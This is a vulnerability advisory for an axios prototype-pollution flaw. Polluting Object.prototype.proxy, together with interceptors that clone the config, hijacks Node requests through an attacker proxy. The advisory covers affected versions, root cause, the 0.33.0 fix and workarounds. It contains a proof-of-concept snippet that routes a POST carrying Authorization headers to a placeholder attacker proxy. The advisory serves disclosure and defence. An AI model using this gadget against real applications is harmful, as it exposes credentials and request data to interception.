highJul 20, 2026

axios Node HTTP Adapter Prototype Pollution Proxy Hijack via Interceptor Config Cloning

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A prototype-polluted Object.prototype.proxy value can silently redirect Node.js axios requests through an attacker-controlled proxy, exposing Authorization headers, Basic auth credentials, and request

Packageaxios
Ecosystemnpm
Affected>= 0.31.1, < 0.33.0
Fixed in0.33.0

The problem

axios hardens merged request config by creating a null-prototype object in mergeConfig(). However, request interceptors run after that hardening step and may return a replacement config. The common immutable pattern `{...config}` or `Object.assign({}, config)` converts the hardened null-prototype object back into a regular object with Object.prototype in its chain.

axios then passes the interceptor-returned object directly into dispatchRequest() without re-hardening it. The Node HTTP adapter reads config.proxy through the prototype chain, so a polluted Object.prototype.proxy silently routes the request through an attacker-controlled proxy.

The proxy receives the full Authorization header, axios-generated Basic auth, request method, absolute URL, Host header, and POST body.

Proof of concept

A working proof-of-concept for this issue in axios, with the exact payload below.

javascript
// Pollute Object.prototype anywhere in the process (e.g. via qs, minimist, lodash)
Object.prototype.proxy = {
  protocol: 'http',
  host: '127.0.0.1',
  port: ATTACKER_PROXY_PORT
};

// Any axios instance with an interceptor that returns a plain object clone is affected
const api = axios.create();

api.interceptors.request.use((config) => ({
  ...config,               // re-materializes null-prototype config as a plain object
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

// This POST is silently routed to the attacker proxy instead of the target
const res = await api.post(
  'http://target.internal/api/secret',
  { secret: 'request-body-secret' },
  { headers: { Authorization: 'Bearer EXPLICIT_SECRET' } }
);

// Expected vulnerable result:
// - res.data comes from the attacker proxy
// - target receives zero requests
// - attacker proxy logs: absolute URL, Authorization header, Host, full POST body

The root cause is a missing re-hardening step after interceptor execution. mergeConfig() returns a null-prototype object (own-property only), which blocks prototype chain reads. A spread or Object.assign in an interceptor restores Object.prototype as the prototype, and no subsequent code corrects this before the adapter runs.

The Node HTTP adapter's proxy dispatch path calls config.proxy without an own-property guard, so the inherited Object.prototype.proxy value reaches setProxy() and redirects the connection. The fix in v0.33.0 (PR #11001) switches the adapter to own-property reads for proxy (and auth, params, and data) so inherited prototype values are never consulted, regardless of what an interceptor returned.

CWE-1321 (Prototype Pollution) supplies the gadget; CWE-200 (Sensitive Information Exposure) is the realized impact via MITM on HTTP requests.

The fix

Upgrade to axios 0.33.0. The fix (PR #11001, commits 1417285c and 32fc4896) switches the Node HTTP adapter to own-property reads for config.proxy, config.auth, config.params, and related fields, so a polluted Object.prototype.proxy cannot reach setProxy() even when an interceptor has re-materialized the config as a plain object.

As a workaround without upgrading: set proxy: false explicitly on the axios instance or on each request config. Alternatively, rewrite interceptors to return the original config object or clone into a null-prototype object (Object.assign(Object.create(null), config)).

Using the Node fetch adapter also avoids the vulnerable code path.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research